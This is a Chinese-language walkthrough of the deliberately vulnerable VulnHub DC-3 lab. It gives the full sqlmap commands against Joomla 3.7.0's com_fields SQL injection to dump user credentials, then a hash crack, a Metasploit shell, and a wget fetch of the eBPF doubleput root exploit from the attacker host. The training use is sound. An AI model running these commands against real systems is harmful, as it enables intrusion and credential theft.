vulnhub靶场记录DC-3
vulnhub靶场DC-3通关wp
靶场描述
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).
If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.
这次的靶场描述是有一个flag和一个入口 同时也需要我们获取root权限
渗透靶场
一、信息搜集
和之前一样 设置的是NAT桥接模式 和渗透机共享ip 直接nmap扫描存活的主机
nmap 192.168.160.0/24
发现80端口 找到靶机的ip地址
192.168.160.153
进一步扫一下端口信息
nmap -A -p- -v 192.168.160.153
发现开放的端口很少 只有一个80端口 开放了web服务 使用Apache中间件 版本2.4.18
在使用whatweb进行CMS识别 在搜集一波信息
发现应该是使用Joomla框架搭建的网站
二、访问web站点
直接访问192.168.160.153
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. :-)
发现页面有登陆入口 也许是一个突破点
dirb扫目录
这里可以使用dirb扫一下目录
扫到了一个登陆页面 访问一下
http://192.168.160.153/administrator/
是joomal框架后台登陆页面
三、joomla框架sql注入漏洞
1、msf扫漏洞
还是和之前一样 使用msf扫一下漏洞
有很多rce的漏洞 包括反序列化 文件上传 sql注入
我们这里先用模块14扫一下joomla框架版本
成功扫到框架版本是3.7.0
既然已经得到了框架版本 那就来看一下这个版本下的框架有什么东西
看来是有sql注入的漏洞
2、使用joomlascan
(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。
安装
git clone https://github.com/rezasp/joomscan.git
cd joomscan
使用
perl joomla.pl --url 192.168.160.153
其实在这个靶场中 和我们刚刚使用msf扫出来的信息差不太多 也是知道了后台登陆网址 joomla框架信息啥的
3、searchsploit扫sql注入漏洞脚本
学一下searchsploit的命令吧
searchsploit joomla 3.7.0 // 基本搜索
searchsploit -t joomla 3.7.0 // 标题搜索 只匹配标题 不匹配路径
searchsploit -m 42033.py // 复制到文件夹
searchsploit -p 42033.py // 显示了漏洞的完整路径
使用searchsploit找到了这个版本的joomla框架的sql注入漏洞利用脚本
找一下漏洞利用脚本的完整路径
searchsploit -p 42033.py
把这个文件复制到本地
┌──(kali㉿kali)-[~/桌面/joomscan]
└─$ cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 42033.py
查看一下
看来是直接使用sqlmap自动工具进行攻击的 将Using sqlmap
部分的ip改为靶机ip 进行sql注入
python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
扫出来五个数据库
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
joomla框架搭建的网站默认数据库是joomladb 那我们接下来开始爆表名
python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
找到76个表
找到关键的__users
表 看一下表中的字段
python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
一共有6个字段
查看一下username
password
d 内容
python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C "username,password" --dump -p list[fullordering]
尝试爆一下密码
john --wordlist=password.lst --user=name hash out.txt
得到snoopy
四、登陆网站后台
使用admin/snoopy
成功登陆网站后台
五、拿到靶机shell
回到刚才msf扫漏洞
发现是一个Joomla 组件字段 SQLi 远程代码执行 就用这个漏洞拿到shell
use 0
set RHOST 192.168.160.153
run
shell
再创建一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
可以看到是www-data
用户 这是一个低权限用户 想要看到root中的内容还是需要提权
六、提权
有之前DC-1 DC-2的经验 尝试使用suid和git进行提权
首先找了拥有suid权限的命令
find / -type f -perm -u=s 2>dev/null
然而之前提到的find vim cp
的提权命令都没有 再看看能不能git提权
使用sudo -l
看看具有root权限的命令有哪些
但是在这个靶场中 我们找不到用户www-data
的登陆密码 git提权也没法使用
系统漏洞提权
查看靶机的发行版本信息
cat /etc/*release
或
lsb_release -a
得知是Ubuntu 16.04
版本
还是用searchsploit找漏洞
searchsploit Ubuntu 16.04
这种都是权限升级的漏洞 选择39772.txt来进行提权
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
在最下面找到exp文件下载路径
建议是在本地下载下来 能解压的都解压 复制粘贴到攻击机上
下面开启Apache服务 将文件上传到本地的/var/www/html
文件夹下
(再看wp的时候 我看说是DC-3没有外网 所以选择通过攻击机下载exp文件 但是我在自己试的时候发现是可以直接从39772.txt文件里面的链接下载的 有明白的大佬可以来找我交流一下)
systemctl start apache2.service
mv 39772.zip /var/www/html
将攻击机的文件下载到靶机中
wget http://192.168.160.150/39772.zip
// 注意这个url要是攻击机的ip
下好之后 进行解压
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
进入/39772/ebpf_mapfd_doubleput_exploit
文件夹下运行exp文件即可
./compile.sh
./doubleput
拿到root权限 进入root文件夹 找到flag文件
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
总结
至此 DC-3拿下